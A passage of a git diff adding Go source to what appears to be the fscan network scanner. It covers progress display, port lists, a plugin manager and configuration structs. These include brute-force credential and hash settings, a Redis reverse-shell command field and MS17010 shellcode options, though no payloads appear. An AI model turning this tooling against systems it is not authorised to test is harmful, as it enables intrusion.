============================================================================= + +// startActivityIndicator 启动活跃指示器 +func (pm *ProgressManager) startActivityIndicator() { + // 防止重复启动 + if pm.activityTicker != nil { + return + } + + pm.activityTicker = time.NewTicker(activityUpdateInterval) + pm.stopActivityChan = make(chan struct{}) + + go func() { + for { + select { + case <-pm.activityTicker.C: + // 只有在活跃状态下才更新指示器 + if pm.isActive && pm.enabled { + pm.mu.Lock() + pm.spinnerIndex = (pm.spinnerIndex + 1) % len(spinnerChars) + pm.mu.Unlock() + + // 只有在长时间没有进度更新时才重新渲染 + // 这样可以避免频繁更新时的性能问题 + if time.Since(pm.lastActivity) > 2*time.Second { + pm.renderProgress() + } + } + case <-pm.stopActivityChan: + return + } + } + }() +} + +// stopActivityIndicator 停止活跃指示器 +func (pm *ProgressManager) stopActivityIndicator() { + if pm.activityTicker != nil { + pm.activityTicker.Stop() + pm.activityTicker = nil + } + + if pm.stopActivityChan != nil { + close(pm.stopActivityChan) + pm.stopActivityChan = nil + } +} + +// getActivityIndicator 获取当前活跃指示器字符 +func (pm *ProgressManager) getActivityIndicator() string { + // 如果最近有活动(2秒内),显示静态指示器 + if time.Since(pm.lastActivity) <= 2*time.Second { + return "●" // 实心圆表示活跃 + } + + // 如果长时间没有活动,显示旋转指示器表明程序仍在运行 + return spinnerChars[pm.spinnerIndex] +} + +// getMemoryInfo 获取内存使用信息 +func (pm *ProgressManager) getMemoryInfo() string { + // 限制内存统计更新频率以提高性能(每秒最多一次) + now := time.Now() + if now.Sub(pm.lastMemUpdate) >= time.Second { + runtime.ReadMemStats(&pm.memStats) + pm.lastMemUpdate = now + } + + // 获取当前使用的内存(以MB为单位) + memUsedMB := float64(pm.memStats.Alloc) / 1024 / 1024 + + // 根据内存使用量选择颜色 + var colorCode string + if NoColor { + return fmt.Sprintf("内存:%.1fMB", memUsedMB) + } + + // 根据内存使用量设置颜色 + if memUsedMB < 50 { + colorCode = "\033[32m" // 绿色 - 内存使用较低 + } else if memUsedMB < 100 { + colorCode = "\033[33m" // 黄色 - 内存使用中等 + } else { + colorCode = "\033[31m" // 红色 - 内存使用较高 + } + + return fmt.Sprintf("%s内存:%.1fMB\033[0m", colorCode, memUsedMB) +} \ No newline at end of file diff --git a/common/base/Constants.go b/common/base/Constants.go new file mode 100644 index 0000000..9b17145 --- /dev/null +++ b/common/base/Constants.go @@ -0,0 +1,41 @@ +package base + +/* +Constants.go - 核心常量定义 + +整合Ports.go等常量文件,统一管理所有核心常量。 +*/ + +// ============================================================================= +// 端口常量 (从Ports.go迁移) +// ============================================================================= + +// 预定义端口组常量 +var ( + WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018" + MainPorts = "21,22,23,25,80,81,110,135,139,143,389,443,445,465,502,587,636,873,993,995,1433,1434,1521,1522,1525,2121,2200,2222,3000,3268,3269,3306,3389,5432,5672,5900,6379,7474,7687,8000,8080,8081,8088,8443,8888,9000,9042,9080,9092,9200,9300,11211,15672,22222,27017,61613,61614" + DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616" + ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613" + CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986" + AllPorts = "1-65535" +) + +// ============================================================================= +// 扫描模式常量 +// ============================================================================= + +const ( + ScanModeAll = "all" // 全扫描模式 +) + +// ============================================================================= +// 默认配置常量 +// ============================================================================= + +const ( + DefaultThreadNum = 600 // 默认线程数 + DefaultTimeout = 3 // 默认超时时间(秒) + DefaultScanMode = ScanModeAll // 默认扫描模式 + DefaultLanguage = "zh" // 默认语言 + DefaultLogLevel = "base" // 默认日志级别 +) diff --git a/common/base/Manager.go b/common/base/Manager.go new file mode 100644 index 0000000..3659df6 --- /dev/null +++ b/common/base/Manager.go @@ -0,0 +1,85 @@ +package base + +import ( + "sync" + + "github.com/shadow1ng/fscan/common/config" +) + +// ============================================================================= +// 全局配置变量 +// ============================================================================= + +var ( + // 核心扫描配置 + ScanMode string // 扫描模式 + ThreadNum int // 线程数 + Timeout int64 // 超时时间 + DisablePing bool // 禁用ping + LocalMode bool // 本地模式 + LocalPlugin string // 本地插件选择 + + // 基础认证配置 + Username string // 用户名 + Password string // 密码 + Userdict map[string][]string // 用户字典 + Passwords []string // 密码列表 + + // 网络配置 + HttpProxy string // HTTP代理 + Socks5Proxy string // SOCKS5代理 + + // 显示控制 + NoColor bool // 禁用颜色 + Language string // 语言 + LogLevel string // 日志级别 + + // 端口映射 + PortMap map[int][]string // 端口映射 + DefaultMap []string // 默认映射 + + // 初始化锁 + initOnce sync.Once +) + +// ============================================================================= +// 简化的初始化函数 +// ============================================================================= + +// InitGlobalConfig 初始化全局配置 +func InitGlobalConfig() { + initOnce.Do(func() { + // 设置默认值 + ScanMode = DefaultScanMode + ThreadNum = DefaultThreadNum + Timeout = DefaultTimeout + LogLevel = DefaultLogLevel + Language = DefaultLanguage + + // 初始化映射和切片 + Userdict = make(map[string][]string) + PortMap = make(map[int][]string) + DefaultMap = make([]string, 0) + + // 从config模块获取字典和映射 + if serviceDict := config.GetGlobalServiceDict(); serviceDict != nil { + Userdict = serviceDict.GetAllUserDicts() + Passwords = serviceDict.GetPasswords() + } + + if probeMapping := config.GetGlobalProbeMapping(); probeMapping != nil { + PortMap = probeMapping.GetAllPortMappings() + DefaultMap = probeMapping.GetDefaultProbes() + } + }) +} + +// ============================================================================= +// 访问器函数已移除(未使用的死代码) +// 直接使用全局变量进行访问 +// ============================================================================= + +// init 自动初始化 +func init() { + InitGlobalConfig() +} diff --git a/common/base/Plugin.go b/common/base/Plugin.go new file mode 100644 index 0000000..cd0a0d1 --- /dev/null +++ b/common/base/Plugin.go @@ -0,0 +1,149 @@ +package base + +import ( + "sync" +) + +/* +Plugin.go - 插件系统管理 + +整合Types.go中的插件系统,提供统一的插件注册和管理机制。 +*/ + +// ============================================================================= +// 核心数据结构 (从Types.go迁移) +// ============================================================================= + +// HostInfo 主机信息结构 +type HostInfo struct { + Host string // 主机地址 + Ports string // 端口范围 + Url string // URL地址 + Infostr []string // 附加信息 +} + +// ============================================================================= +// 插件类型常量 +// ============================================================================= + +const ( + PluginTypeService = "service" // 服务类型插件 + PluginTypeWeb = "web" // Web类型插件 + PluginTypeLocal = "local" // 本地类型插件 + PluginTypeBrute = "brute" // 暴力破解插件 + PluginTypePoc = "poc" // POC验证插件 + PluginTypeScan = "scan" // 扫描探测插件 +) + +// ============================================================================= +// 插件定义和管理 +// ============================================================================= + +// ScanPlugin 定义扫描插件的结构 +type ScanPlugin struct { + Name string // 插件名称 + Version string // 插件版本 + Description string // 插件描述 + Author string // 插件作者 + Ports []int // 适用端口 + Types []string // 插件类型标签,一个插件可以有多个类型 + Priority int // 插件优先级(数字越小优先级越高) + Enabled bool // 是否启用 + ScanFunc func(*HostInfo) error // 扫描函数 +} + +// PluginManager 插件管理器 +type PluginManager struct { + mu sync.RWMutex + plugins map[string]*ScanPlugin + types map[string][]*ScanPlugin // 按类型索引的插件 + ports map[int][]*ScanPlugin // 按端口索引的插件 +} + +// 全局插件管理器实例 +var globalPluginManager = NewPluginManager() + +// NewPluginManager 创建新的插件管理器 +func NewPluginManager() *PluginManager { + return &PluginManager{ + plugins: make(map[string]*ScanPlugin), + types: make(map[string][]*ScanPlugin), + ports: make(map[int][]*ScanPlugin), + } +} + +// ============================================================================= +// 插件基础方法 +// ============================================================================= + +// HasType 检查插件是否具有指定类型 +func (p *ScanPlugin) HasType(typeName string) bool { + for _, t := range p.Types { + if t == typeName { + return true + } + } + return false +} + +// HasPort 检查插件是否支持指定端口 +func (p *ScanPlugin) HasPort(port int) bool { + // 如果没有指定端口列表,表示支持所有端口 + if len(p.Ports) == 0 { + return true + } + + // 检查端口是否在支持列表中 + for _, supportedPort := range p.Ports { + if port == supportedPort { + return true + } + } + return false +} + +// IsEnabled 检查插件是否启用 +func (p *ScanPlugin) IsEnabled() bool { + return p.Enabled +} + +// GetInfo 获取插件基本信息 +func (p *ScanPlugin) GetInfo() map[string]interface{} { + return map[string]interface{}{ + "name": p.Name, + "version": p.Version, + "description": p.Description, + "author": p.Author, + "types": p.Types, + "ports": p.Ports, + "priority": p.Priority, + "enabled": p.Enabled, + } +} + +// ============================================================================= +// 插件管理器方法 +// ============================================================================= + +// 已移除未使用的 RegisterPlugin 方法 + +// ======================================================================================== +// 未使用的插件管理器方法已删除(死代码清理) +// 包括:GetPlugin, GetPluginsByType, GetPluginsByPort, GetAllPlugins, +// EnablePlugin, DisablePlugin, UnregisterPlugin, GetPluginCount, GetEnabledPluginCount +// ======================================================================================== + +// ============================================================================= +// 全局插件管理函数 (保持向后兼容) +// ============================================================================= + +// 已移除未使用的 RegisterPlugin 方法 + +// 已移除未使用的 Clear 方法 + +// 已移除未使用的 ClearPluginsByType 方法 + +// GetGlobalPluginManager 方法已删除(死代码清理) + +// 向后兼容的全局变量 (已废弃,建议使用PluginManager) +var LegacyPluginManager = make(map[string]ScanPlugin) \ No newline at end of file diff --git a/common/common.go b/common/common.go new file mode 100644 index 0000000..63f4869 --- /dev/null +++ b/common/common.go @@ -0,0 +1,235 @@ +package common + +/* +common.go - 简化的统一入口 + +移除所有向后兼容层,提供清晰的模块化接口。 +直接导出各子模块的核心功能,避免代码债务。 +*/ + +import ( + "context" + "crypto/tls" + "fmt" + "net" + "sync" + "time" + + "github.com/shadow1ng/fscan/common/base" + "github.com/shadow1ng/fscan/common/logging" + "github.com/shadow1ng/fscan/common/output" + "github.com/shadow1ng/fscan/common/proxy" +) + +// ============================================================================= +// 核心类型导出 - 直接从core模块导出 +// ============================================================================= + +type HostInfo = base.HostInfo +type ScanPlugin = base.ScanPlugin + +// 插件类型常量 +const ( + PluginTypeWeb = base.PluginTypeWeb + PluginTypeLocal = base.PluginTypeLocal +) + +// 全局插件管理器 +var PluginManager = base.LegacyPluginManager + +// ============================================================================= +// 核心功能导出 - 直接调用对应模块 +// ============================================================================= + +// 已移除未使用的 RegisterPlugin 方法 + +// GetGlobalPluginManager 函数已删除(死代码清理) + +// ============================================================================= +// 日志系统简化接口 +// ============================================================================= + +var globalLogger *logging.Logger +var loggerMutex sync.Mutex + +func getGlobalLogger() *logging.Logger { + loggerMutex.Lock() + defer loggerMutex.Unlock() + + if globalLogger == nil { + level := getLogLevelFromString(LogLevel) + config := &logging.LoggerConfig{ + Level: level, + EnableColor: !NoColor, + SlowOutput: false, + ShowProgress: ShowProgress, + StartTime: StartTime, + } + globalLogger = logging.NewLogger(config) + if ProgressBar != nil { + globalLogger.SetProgressBar(ProgressBar) + } + globalLogger.SetOutputMutex(&OutputMutex) + + // 设置协调输出函数,使用LogWithProgress + globalLogger.SetCoordinatedOutput(LogWithProgress) + } + return globalLogger +} + +func getLogLevelFromString(levelStr string) logging.LogLevel { + switch levelStr { + case "all", "ALL": + return logging.LevelAll + case "error", "ERROR": + return logging.LevelError + case "base", "BASE": + return logging.LevelBase + case "info", "INFO": + return logging.LevelInfo + case "success", "SUCCESS": + return logging.LevelSuccess + case "debug", "DEBUG": + return logging.LevelDebug + case "info,success": + return logging.LevelInfoSuccess + case "base,info,success", "BASE_INFO_SUCCESS": + return logging.LevelBaseInfoSuccess + default: + return logging.LevelInfoSuccess + } +} + +// 日志函数 +func InitLogger() { + loggerMutex.Lock() + globalLogger = nil + loggerMutex.Unlock() + getGlobalLogger().Initialize() +} + +func LogDebug(msg string) { getGlobalLogger().Debug(msg) } +func LogBase(msg string) { getGlobalLogger().Base(msg) } +func LogInfo(msg string) { getGlobalLogger().Info(msg) } +func LogSuccess(result string) { getGlobalLogger().Success(result) } +func LogError(errMsg string) { getGlobalLogger().Error(errMsg) } + +// ============================================================================= +// 输出系统简化接口 +// ============================================================================= + +var ResultOutput *output.Manager + +func InitOutput() error { + if Outputfile == "" { + return fmt.Errorf("output file not specified") + } + + var format output.OutputFormat + switch OutputFormat { + case "txt": + format = output.FormatTXT + case "json": + format = output.FormatJSON + case "csv": + format = output.FormatCSV + default: + return fmt.Errorf("invalid output format: %s", OutputFormat) + } + + config := output.DefaultManagerConfig(Outputfile, format) + manager, err := output.NewManager(config) + if err != nil { + return err + } + ResultOutput = manager + return nil +} + +func CloseOutput() error { + if ResultOutput == nil { + return nil + } + return ResultOutput.Close() +} + +func SaveResult(result *output.ScanResult) error { + if ResultOutput == nil { + return fmt.Errorf("output not initialized") + } + return ResultOutput.SaveResult(result) +} + +// ============================================================================= +// 网络连接辅助函数 +// ============================================================================= + +// WrapperTcpWithTimeout TCP连接包装器,带超时 +func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { + return net.DialTimeout(network, address, timeout) +} + +// WrapperTcpWithContext TCP连接包装器,带上下文和代理支持 +func WrapperTcpWithContext(ctx context.Context, network, address string) (net.Conn, error) { + // 检查是否配置了SOCKS5代理 + if Socks5Proxy != "" { + proxyConfig := &proxy.ProxyConfig{ + Type: proxy.ProxyTypeSOCKS5, + Address: Socks5Proxy, + Timeout: time.Second * 10, + } + + proxyManager := proxy.NewProxyManager(proxyConfig) + dialer, err := proxyManager.GetDialer() + if err != nil { + LogDebug(fmt.Sprintf("SOCKS5代理连接失败,回退到直连: %v", err)) + // 代理失败时回退到直连 + var d net.Dialer + return d.DialContext(ctx, network, address) + } + + LogDebug(fmt.Sprintf("使用SOCKS5代理连接: %s -> %s", Socks5Proxy, address)) + return dialer.DialContext(ctx, network, address) + } + + // 没有配置代理,使用直连 + var d net.Dialer + return d.DialContext(ctx, network, address) +} + +// WrapperTlsWithContext TLS连接包装器,带上下文和代理支持 +func WrapperTlsWithContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error) { + // 检查是否配置了SOCKS5代理 + if Socks5Proxy != "" { + proxyConfig := &proxy.ProxyConfig{ + Type: proxy.ProxyTypeSOCKS5, + Address: Socks5Proxy, + Timeout: time.Second * 10, + } + + proxyManager := proxy.NewProxyManager(proxyConfig) + tlsDialer, err := proxyManager.GetTLSDialer() + if err != nil { + LogDebug(fmt.Sprintf("SOCKS5代理TLS连接失败,回退到直连: %v", err)) + // 代理失败时回退到直连 + d := &tls.Dialer{Config: config} + return d.DialContext(ctx, network, address) + } + + LogDebug(fmt.Sprintf("使用SOCKS5代理TLS连接: %s -> %s", Socks5Proxy, address)) + return tlsDialer.DialTLSContext(ctx, network, address, config) + } + + // 没有配置代理,使用直连 + d := &tls.Dialer{Config: config} + return d.DialContext(ctx, network, address) +} + +// ============================================================================= +// 错误处理辅助函数 +// ============================================================================= + +// CheckErrs 检查单个错误 - 简化版本 +func CheckErrs(err error) error { + return err +} diff --git a/common/config/PortMapping.go b/common/config/PortMapping.go new file mode 100644 index 0000000..fc10932 --- /dev/null +++ b/common/config/PortMapping.go @@ -0,0 +1,81 @@ +package config + +import ( + "sync" +) + +// ProbeMapping 探测器映射管理器 +type ProbeMapping struct { + mu sync.RWMutex + defaultMap []string + portMap map[int][]string + initialized bool +} + +// NewProbeMapping 创建探测器映射管理器 +func NewProbeMapping() *ProbeMapping { + return &ProbeMapping{ + defaultMap: getDefaultProbeMap(), + portMap: getDefaultPortMap(), + initialized: true, + } +} + +// getDefaultProbeMap 获取默认的探测器顺序 +func getDefaultProbeMap() []string { + // 返回常量的副本 + result := make([]string, len(DefaultProbeMap)) + copy(result, DefaultProbeMap) + return result +} + +// getDefaultPortMap 获取默认的端口映射 +func getDefaultPortMap() map[int][]string { + // 返回常量的深拷贝 + result := make(map[int][]string) + for port, probes := range DefaultPortMap { + probesCopy := make([]string, len(probes)) + copy(probesCopy, probes) + result[port] = probesCopy + } + return result +} + +// GetDefaultProbes 获取默认探测器列表 +func (pm *ProbeMapping) GetDefaultProbes() []string { + pm.mu.RLock() + defer pm.mu.RUnlock() + + result := make([]string, len(pm.defaultMap)) + copy(result, pm.defaultMap) + return result +} + +// GetAllPortMappings 获取所有端口映射 +func (pm *ProbeMapping) GetAllPortMappings() map[int][]string { + pm.mu.RLock() + defer pm.mu.RUnlock() + + result := make(map[int][]string) + for port, probes := range pm.portMap { + probesCopy := make([]string, len(probes)) + copy(probesCopy, probes) + result[port] = probesCopy + } + return result +} + + +// 全局探测器映射实例 +var ( + globalProbeMapping *ProbeMapping + probeMappingOnce sync.Once +) + +// GetGlobalProbeMapping 获取全局探测器映射实例 +func GetGlobalProbeMapping() *ProbeMapping { + probeMappingOnce.Do(func() { + globalProbeMapping = NewProbeMapping() + }) + return globalProbeMapping +} \ No newline at end of file diff --git a/common/config/ServiceDict.go b/common/config/ServiceDict.go new file mode 100644 index 0000000..96ca7a4 --- /dev/null +++ b/common/config/ServiceDict.go @@ -0,0 +1,82 @@ +package config + +import ( + "sync" +) + +// ServiceDictionary 服务字典管理器 +type ServiceDictionary struct { + mu sync.RWMutex + userDict map[string][]string + passwords []string + initialized bool +} + +// NewServiceDictionary 创建服务字典管理器 +func NewServiceDictionary() *ServiceDictionary { + return &ServiceDictionary{ + userDict: getDefaultUserDict(), + passwords: getDefaultPasswords(), + initialized: true, + } +} + +// getDefaultUserDict 获取默认用户字典 +func getDefaultUserDict() map[string][]string { + // 返回常量的深拷贝 + result := make(map[string][]string) + for service, users := range DefaultUserDict { + usersCopy := make([]string, len(users)) + copy(usersCopy, users) + result[service] = usersCopy + } + return result +} + +// getDefaultPasswords 获取默认密码字典 +func getDefaultPasswords() []string { + // 返回常量的副本 + result := make([]string, len(DefaultPasswords)) + copy(result, DefaultPasswords) + return result +} + +// GetAllUserDicts 获取所有服务的用户字典 +func (sd *ServiceDictionary) GetAllUserDicts() map[string][]string { + sd.mu.RLock() + defer sd.mu.RUnlock() + + result := make(map[string][]string) + for service, users := range sd.userDict { + usersCopy := make([]string, len(users)) + copy(usersCopy, users) + result[service] = usersCopy + } + return result +} + +// GetPasswords 获取默认密码字典 +func (sd *ServiceDictionary) GetPasswords() []string { + sd.mu.RLock() + defer sd.mu.RUnlock() + + // 返回副本,避免外部修改 + result := make([]string, len(sd.passwords)) + copy(result, sd.passwords) + return result +} + + +// 全局服务字典实例 +var ( + globalServiceDict *ServiceDictionary + serviceDictOnce sync.Once +) + +// GetGlobalServiceDict 获取全局服务字典实例 +func GetGlobalServiceDict() *ServiceDictionary { + serviceDictOnce.Do(func() { + globalServiceDict = NewServiceDictionary() + }) + return globalServiceDict +} \ No newline at end of file diff --git a/common/config/Types.go b/common/config/Types.go new file mode 100644 index 0000000..8326802 --- /dev/null +++ b/common/config/Types.go @@ -0,0 +1,150 @@ +package config + +import ( + "sync" + "time" + + "github.com/schollz/progressbar/v3" +) + +// Version 版本信息 +type Version struct { + Major int `json:"major"` + Minor int `json:"minor"` + Patch int `json:"patch"` + Full string `json:"full"` +} + +// ApplicationConfig 应用程序配置 +type ApplicationConfig struct { + Version Version `json:"version"` + ProgressBar *progressbar.ProgressBar `json:"-"` + OutputMutex sync.Mutex `json:"-"` +} + +// ScanTargetConfig 扫描目标配置 +type ScanTargetConfig struct { + Ports string `json:"ports"` // 要扫描的端口列表 + ExcludePorts string `json:"exclude_ports"` // 要排除的端口列表 + ExcludeHosts string `json:"exclude_hosts"` // 要排除的主机列表 + AddPorts string `json:"add_ports"` // 额外添加的端口列表 + HostPort []string `json:"host_port"` // 主机:端口格式的目标列表 +} + +// CredentialConfig 认证凭据配置 +type CredentialConfig struct { + Username string `json:"username"` // 用于认证的用户名 + Password string `json:"password"` // 用于认证的密码 + AddUsers string `json:"add_users"` // 额外添加的用户名列表 + AddPasswords string `json:"add_passwords"` // 额外添加的密码列表 + Domain string `json:"domain"` // Active Directory/SMB域名 + HashValue string `json:"hash_value"` // 用于哈希认证的单个哈希值 + HashValues []string `json:"hash_values"` // 哈希值列表 + HashBytes [][]byte `json:"-"` // 二进制格式的哈希值列表 + HashFile string `json:"hash_file"` // 包含哈希值的文件路径 + SshKeyPath string `json:"ssh_key_path"` // SSH私钥文件路径 +} + +// ScanControlConfig 扫描控制配置 +type ScanControlConfig struct { + ScanMode string `json:"scan_mode"` // 扫描模式或指定的插件列表 + ThreadNum int `json:"thread_num"` // 并发扫描线程数 + ModuleThreadNum int `json:"module_thread_num"` // 模块内部线程数 + Timeout int64 `json:"timeout"` // 单个扫描操作超时时间(秒) + GlobalTimeout int64 `json:"global_timeout"` // 整体扫描超时时间(秒) + // LiveTop 已移除,改为智能控制 + DisablePing bool `json:"disable_ping"` // 是否禁用主机存活性检测 + EnableFingerprint bool `json:"enable_fingerprint"` // 是否启用服务指纹识别 + LocalMode bool `json:"local_mode"` // 是否启用本地信息收集模式 +} + +// InputFileConfig 输入文件配置 +type InputFileConfig struct { + HostsFile string `json:"hosts_file"` // 包含目标主机的文件路径 + UsersFile string `json:"users_file"` // 包含用户名列表的文件路径 + PasswordsFile string `json:"passwords_file"` // 包含密码列表的文件路径 + PortsFile string `json:"ports_file"` // 包含端口列表的文件路径 +} + +// WebScanConfig Web扫描配置 +type WebScanConfig struct { + TargetURL string `json:"target_url"` // 单个目标URL + URLsFile string `json:"urls_file"` // 包含URL列表的文件路径 + URLs []string `json:"urls"` // 解析后的URL目标列表 + WebTimeout int64 `json:"web_timeout"` // Web请求超时时间(秒) + HttpProxy string `json:"http_proxy"` // HTTP代理地址 + Socks5Proxy string `json:"socks5_proxy"` // SOCKS5代理地址 +} + +// VulnExploitConfig POC与漏洞利用配置 +type VulnExploitConfig struct { + // POC配置 + PocPath string `json:"poc_path"` // POC脚本路径 + PocInfo PocInfo `json:"poc_info"` // POC详细信息结构 + DisablePocScan bool `json:"disable_poc_scan"` // 是否禁用POC扫描 + + // Redis利用 + RedisFile string `json:"redis_file"` // Redis利用目标文件 + RedisShell string `json:"redis_shell"` // Redis反弹Shell命令 + RedisWritePath string `json:"redis_write_path"` // Redis文件写入路径 + RedisWriteContent string `json:"redis_write_content"` // Redis文件写入内容 + RedisWriteFile string `json:"redis_write_file"` // Redis写入的源文件 + + // 其他漏洞利用 + Shellcode string `json:"shellcode"` // 用于MS17010等漏洞利用的Shellcode +} + +// BruteForceConfig 暴力破解控制配置 +type BruteForceConfig struct { + DisableBrute bool `json:"disable_brute"` // 是否禁用暴力破解模块 + MaxRetries int `json:"max_retries"` // 连接失败最大重试次数 +} + +// DisplayConfig 输出与显示配置 +type DisplayConfig struct { + DisableSave bool `json:"disable_save"` // 是否禁止保存扫描结果 + Silent bool `json:"silent"` // 是否启用静默模式 + NoColor bool `json:"no_color"` // 是否禁用彩色输出 + LogLevel string `json:"log_level"` // 日志输出级别 + DisableProgress bool `json:"disable_progress"` // 是否禁用进度条 + Language string `json:"language"` // 界面语言设置 +} + +// OutputConfig 输出配置 +type OutputConfig struct { + Outputfile string `json:"output_file"` // 输出文件路径 + OutputFormat string `json:"output_format"` // 输出格式 +} + +// NetworkConfig 网络配置 +type NetworkConfig struct { + UserAgent string `json:"user_agent"` // 用户代理字符串 + Accept string `json:"accept"` // Accept头部 + DnsLog bool `json:"dns_log"` // 是否启用DNS日志 + PocNum int `json:"poc_num"` // POC并发数 + PocFull bool `json:"poc_full"` // 是否启用完整POC扫描 + Cookie string `json:"cookie"` // Cookie字符串 +} + +// PocInfo POC详细信息结构 +type PocInfo struct { + Target string `json:"target"` + PocName string `json:"poc_name"` +} + +// Config 完整的配置结构 +type Config struct { + Application *ApplicationConfig `json:"application"` + ScanTarget *ScanTargetConfig `json:"scan_target"` + Credential *CredentialConfig `json:"credential"` + ScanControl *ScanControlConfig `json:"scan_control"` + InputFile *InputFileConfig `json:"input_file"` + WebScan *WebScanConfig `json:"web_scan"` + VulnExploit *VulnExploitConfig `json:"vuln_exploit"` + BruteForce *BruteForceConfig `json:"brute_force"` + Display *DisplayConfig `json:"display"` + Output *OutputConfig `json:"output"` + Network *NetworkConfig `json:"network"` + LastUpdated time.Time `json:"last_updated"` +} + diff --git a/common/config/constants.go b/common/config/constants.go new file mode 100644 index 0000000..7517fbe --- /dev/null +++ b/common/config/constants.go @@ -0,0 +1,192 @@ +package config + +// 默认探测器列表 +var DefaultProbeMap = []string{ + "GenericLines", + "GetRequest", + "TLSSessionReq", + "SSLSessionReq", + "ms-sql-s", + "JavaRMI", + "LDAPSearchReq", + "LDAPBindReq", + "oracle-tns", + "Socks5", +} + +// 默认端口映射关系 +var DefaultPortMap = map[int][]string{ + 1: {"GetRequest", "Help"}, + 7: {"Help"}, + 21: {"GenericLines", "Help"}, + 23: {"GenericLines", "tn3270"}, + 25: {"Hello", "Help"}, + 35: {"GenericLines"}, + 42: {"SMBProgNeg"}, + 43: {"GenericLines"}, + 53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"}, + 70: {"GetRequest"}, + 79: {"GenericLines", "GetRequest", "Help"}, + 80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"}, + 81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"}, + 82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"}, + 98: {"GenericLines"}, + 110: {"GenericLines"}, + 111: {"RPCCheck"}, + 113: {"GenericLines", "GetRequest", "Help"}, + 119: {"GenericLines", "Help"}, + 130: {"NotesRPC"}, + 135: {"DNSVersionBindReqTCP", "SMBProgNeg"}, + 139: {"GetRequest", "SMBProgNeg"}, + 143: {"GetRequest"}, + 175: {"NJE"}, + 199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"}, + 214: {"GenericLines"}, + 264: {"GenericLines"}, + 311: {"LDAPSearchReq"}, + 340: {"GenericLines"}, + 389: {"LDAPSearchReq", "LDAPBindReq"}, + 443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"}, + 444: {"GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"}, + 445: {"SMBProgNeg"}, + 465: {"Hello", "Help", "GetRequest", "HTTPOptions", "SSLSessionReq", "TerminalServerCookie"}, + 502: {"GenericLines"}, + 503: {"GenericLines"}, + 513: {"GenericLines"}, + 514: {"GenericLines"}, + 515: {"LPDString"}, + 544: {"GenericLines"}, + 548: {"afp"}, + 554: {"GetRequest"}, + 563: {"GenericLines"}, + 587: {"Hello", "Help"}, + 631: {"GetRequest", "HTTPOptions"}, + 636: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"}, + 646: {"LDAPSearchReq", "RPCCheck"}, + 691: {"GenericLines"}, + 873: {"GenericLines"}, + 898: {"GetRequest"}, + 993: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"}, + 995: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"}, + 1080: {"GenericLines", "Socks5", "Socks4"}, + 1099: {"JavaRMI"}, + 1234: {"SqueezeCenter_CLI"}, + 1311: {"GenericLines"}, + 1352: {"oracle-tns"}, + 1414: {"ibm-mqseries"}, + 1433: {"ms-sql-s"}, + 1521: {"oracle-tns"}, + 1723: {"GenericLines"}, + 1883: {"mqtt"}, + 1911: {"oracle-tns"}, + 2000: {"GenericLines", "oracle-tns"}, + 2049: {"RPCCheck"}, + 2121: {"GenericLines", "Help"}, + 2181: {"GenericLines"}, + 2222: {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"}, + 2375: {"docker", "GetRequest", "HTTPOptions"}, + 2376: {"docker", "GetRequest", "HTTPOptions", "SSLSessionReq"}, + 2484: {"oracle-tns"}, + 2628: {"dominoconsole"}, + 3000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 3268: {"LDAPSearchReq", "LDAPBindReq"}, + 3269: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"}, + 3306: {"GenericLines", "GetRequest", "HTTPOptions"}, + 3389: {"TerminalServerCookie", "TerminalServer"}, + 3690: {"GenericLines"}, + 4000: {"GenericLines"}, + 4369: {"epmd"}, + 4444: {"GenericLines"}, + 4840: {"GenericLines"}, + 5000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 5050: {"GenericLines"}, + 5060: {"SIPOptions"}, + 5222: {"GenericLines"}, + 5432: {"GenericLines"}, + 5555: {"GenericLines"}, + 5560: {"GenericLines", "oracle-tns"}, + 5631: {"GenericLines", 